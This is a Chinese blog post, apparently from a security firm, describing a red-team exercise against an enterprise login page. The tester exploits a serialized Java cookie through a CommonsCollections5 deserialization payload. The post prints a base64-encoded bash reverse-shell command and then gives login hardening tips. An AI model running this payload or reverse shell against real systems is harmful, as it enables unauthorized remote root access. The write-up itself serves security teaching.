某地市2024HVV活动中,在对某国企系统打点过程时遇见一个登录框页面摒弃常规账号密码暴破的思路转而对其他页面进行信息收集(实则是怕被蓝队发现)。
利用浏览器中的插件可知该页面疑似存在Java编程语言。
fuzz一波,发现状态码基本上都404了,但发现有一个js路由可以访问。
js路由中发现某跳转页面存在8.5.7的汤姆猫中间件信息。
回到登录页面测试,登录抓包发现cookie user是经过base64编码的,符合加密后序列化的<u>头特征</u>。
尝试直接用CC链打但没反应,发包一直存在Set-Cookie字段,猜测触发点不在这里。
fuzz一下是否存在user或者admin路由,user路由不存在,admin路由存在且跳转到了登录首页。
将cookie添加到admin的请求包里再发送测试一下。
发现java报错信息,借助burp的插件,并尝试替换为CC5链构造payload,编码反弹shell。
https://ares-x.com/tools/runtime-exec/
插件中写入反弹shell命令,选择添加base64编码
CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"
点击`attack`后拿到shell,执行命令`id`,发现竟然是root权限,继续信息收集扩大攻击面!
从攻击渗透的角度上分析,在日常测试中遇见登录框不一定使用暴力破解账号密码的方式,转变思路,可以尝试收集其他页面的路(报)由(错)信息,同时关注登录页面的cookie内容及跳转方式。总之,信息收集很重要!
从企业安全防御的角度上分析,网站登录框是用户访问网站并进行身份验证的重要入口,因此其安全性至关重要。为了增强网站登录框的防御能力,可以采取以下措施:
统一错误提示:无论用户输入的是错误的用户名、错误的密码还是不存在的用户名,都应返回统一的错误提示信息,如“用户名或密码错误”。这可以防止攻击者通过错误信息枚举系统中存在的用户名。
限制错误尝试次数:对用户的登录尝试次数进行限制,如连续多次输入错误密码后,锁定账户一段时间或要求用户输入验证码进行验证。这有助于防止暴力破解攻击。
添加验证码:在登录框中添加验证码机制,要求用户输入验证码才能进行登录操作。这可以增加攻击者破解密码的难度。
验证码类型选择:选择复杂度适中且难以被自动化识别的验证码类型,如图片验证码、短信验证码等。避免使用过于简单或容易被识别的验证码。
验证码有效期:设置验证码的有效期,并在用户提交登录请求时验证验证码的正确性和有效性。确保验证码在使用一次后立即失效,防止被重复使用。
隐藏登录框细节:避免在登录框中显示过多的细节信息,如示例用户名、密码规则等。这些信息可能会被攻击者利用来构造字典进行暴力破解。
定期更新与升级:定期更新和升级网站的安全措施和防御机制,以应对新的安全威胁和漏洞。
日志审计与监控:对登录框的访问和操作进行日志审计和监控,及时发现并响应异常行为。
往期回顾
点击“在看”鼓励一下吧
原文始发于微信公众号(天地和兴):记一次HVV中对某登录框的优雅测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论